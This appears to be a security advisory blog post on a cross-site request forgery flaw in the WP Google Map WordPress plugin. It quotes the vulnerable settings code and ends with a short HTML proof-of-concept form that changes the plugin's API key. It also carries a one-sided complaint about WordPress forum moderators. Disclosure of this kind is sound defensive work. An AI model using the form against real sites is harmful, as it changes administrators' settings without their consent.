WP Google Map Still Contains CRSF/Settings Change Vulnerability After Multiple Security Updates
The WordPress plugin WP Google Map, which has 20,000+ installs, recently came on to our radar due to obfuscated code in the plugin. That code has now been removed, but when we went to check on that, we noticed the plugin had a vulnerability right below the code containing the obfuscation. What makes that stand out more is that is still there after multiple security updates to the plugin. Here are the most recent changelog entries for the plugin, with only one of those versions, 1.8.2, not referencing a security change being made:
1.8.5
- Code Optimization
- Security enhancement
1.8.4
- CSRF issue fixing
- Tabs UI update
- Marker Icon preview issue fixing
- DB query and code optimized
1.8.3
- Ajax Security issues resolved
- Marker Edit page minor bug fixing
1.8.2
- Clickable marker infowindow introduced.
1.8.1
- Hot fix: Security issue fixed.
1.8.0
- Multiple Marker system introduced.
- Complete Admin UI updated for a better experience.
- Datatable introduced for Map and Marker listing.
- Added advanced option for API load restriction, prevent other map API loading with user consent.
- Support page modified for better support.
- Marker Description and Image attachment support implemented.
- Security improvement.
1.7.7
- Minor bug fixing
- Autoloader class implemented
- Map control options added(disable zoom, disable street view option, disable drag, disable double click zoom, disable pan control)
- Security improvement
- Appsero SDK implement for prompt support to users
Cross-Site Request Forgery/Settings Change
The plugin registers a settings page to be accessible to Administrators with the following code:
48 49 50 51 | add_submenu_page('wpgmapembed', __("Settings", "gmap-embed"), __("Settings", "gmap-embed"), 'administrator', 'wpgmapembed-settings', array( $this, 'wgm_settings' ), 4); |
That will cause the function to be called when accessing it and that will, in turn, cause the code in the file /admin/includes/wpgmap_settings.php to be run:
83 84 85 | public function wgm_settings() { require WGM_PLUGIN_PATH . 'admin/includes/wpgmap_settings.php'; |
In the file, the following code will update the plugin’s API key setting without checking for a valid nonce, which permits cross-site request forgery (CSRF):
11 12 13 14 15 16 17 | if (isset($_POST['wpgmapembed_key'])) { $api_key = trim(sanitize_text_field(esc_html($_POST['wpgmapembed_key']))); if ($api_key != '') { if (get_option('wpgmap_api_key') !== false) { update_option('wpgmap_api_key', $api_key, '', 'yes'); } else { add_option('wpgmap_api_key', $api_key, '', 'yes'); |
The second most recent update is listed as addressing that type of issue, but the plugin must not have been fully checked over for that issue.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will change the API key setting to “Proof of Concept”, when logged in as an Administrator.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=wpgmapembed-settings" method="POST"> <input type="hidden" name="wpgmapembed_key" value="Proof of Concept" /> <input type="submit" value="Submit" /> </form> </body>